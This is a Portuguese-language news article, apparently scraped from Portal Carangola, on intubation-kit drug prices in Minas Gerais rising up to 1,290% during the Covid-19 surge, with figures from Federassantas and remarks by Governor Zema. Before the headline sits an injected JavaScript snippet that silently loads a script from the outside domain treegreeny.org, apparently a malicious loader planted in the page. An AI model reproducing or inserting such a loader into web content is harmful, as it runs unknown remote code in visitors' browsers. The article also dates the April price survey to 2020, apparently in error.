;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Demanda nas alturas fez preço de remédios do kit intubação subir até 1.290%. - Portal Carangola

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Demanda nas alturas fez preço de remédios do kit intubação subir até 1.290%.

Produtos em escassez são os sedativos e bloqueadores neuromusculares que compõem o chamado “kit intubação”

Levantamento da Federassantas revela que preço da ampola com 10 ml de um anestésico saltou de R$ 4,95 em outubro do ano passado para R$ 64 no início do mês.

Cada vez mais cheios, os hospitais de Minas Gerais já ultrapassaram a ocupação de 90% nos leitos de UTI e seguem com 2.544 pacientes internados com sintomas graves da Covid-19. Para além da exaustão dos profissionais de saúde, que há um ano convivem com rotinas intensas nas unidades, a demanda nas alturas fez ainda elevar os preços de insumos essenciais para os tratamentos, principalmente do kit intubação.

É o que apontou um levantamento realizado na última sexta-feira (9) pela Federação das Santas Casas e Hospitais Filantrópicos de Minas Gerais (Federassantas). De acordo com os dados, a variação dos preços chegou a subir quase 1.300% entre outubro do ano passado e abril de 2020. É o caso da ampola de 10 milímetros do fentanil, um anestésico que alivia dores intensas e chega a ser 100 vezes mais forte que a morfina – em 2020, o valor era de R$ 4,95 e saltou para R$ 64.

Em seguida, aparece o besilato de cisatracúrio injetável, com 5 ml. O medicamento é um bloqueador neuromuscular usado na terapia intensiva para que a ventilação mecânica seja efetiva nos casos em que o vírus provoca insuficiência respiratória. Nesse período, houve uma variação de 1.000%, saltando de R$ 23,90 para R$ 239. Já o midazolam de 50 miligramas registrou um aumento de 810%, com preços que passaram de R$ 11,95 para R$ 96,90, quando encontrado no mercado – o medicamento é um sedativo crucial na terapia intensiva.

Dificuldades dos hospitais em adquirir os insumos

O coordenador de suprimentos da Federassantas, Luiz Otávio Lemos, lembra que a inflação galopante desses medicamentos é resultado da demanda atual. “Isso não só no mercado nacional, mas mundial também. Então acaba que os produtos ficam mais caros e a escassez no mercado eleva ainda mais, para além da alta do dólar, que é outro problema. Só que nada disso justifica os preços que temos visto por aí”, criticou.

Segundo o dirigente, os aumentos ainda agravam a situação das finanças dos hospitais filantrópicos, como as santas casas que funcionam 100% SUS. “É uma dificuldade muito grande encontrar esses medicamentos, e o que está sendo muito complicado hoje é também o número de forncedores. Quando encontra o remédio, o valor é bem alto. Se continuar assim, vai prejudicar ainda mais o planejamento financeiro desses hospitais”, disse.

Lemos pontuou também que há unidades em Minas Gerais com gastos até quatro vezes maiores, quando comparado ao início da pandemia, por conta dos medicamentos, além de outros insumos hospitalares. “Isso prejudica qualquer planejamento financeiro e os recursos dos hospitais vão ficando cada vez mais insuficientes para prestar um bom serviço à população”, finalizou.

Risco ‘iminente’ de falta do kit intubação

Um levantamento da Confederação Nacional dos Municípios (CNM) divulgado na última sexta-feira (9) apontou que, das 567 prefeituras que responderam aos questionamentos, quase 52% afirmaram que há risco iminente de ficar sem esses medicamentos, considerados essenciais para o tratamento – ao todo, o estado conta com 853 municípios. O índice é o pior desde quando os dados começaram a ser divulgados pela entidade. Nesta semana, o governador Romeu Zema (Novo) chegou a alertar que algumas regiões mineiras só possuíam estoques do produto para até dois dias.

“Estamos correndo risco de pacientes intubados acordarem por falta de sedativos e isso não pode ocorrer de forma nenhuma”, declarou. Uma das causas do agravamento do problema, segundo Zema, é que o Ministério da Saúde teria requisitado toda a produção industrial desses medicamentos, que além de manter o paciente sedado ajuda a relaxar os músculos para que a ventilação mecânica seja eficiente. “Não temos tido acesso a esses medicamentos na velocidade adequada”, relatou.

Por LUCAS MORAIS/O TEMPO

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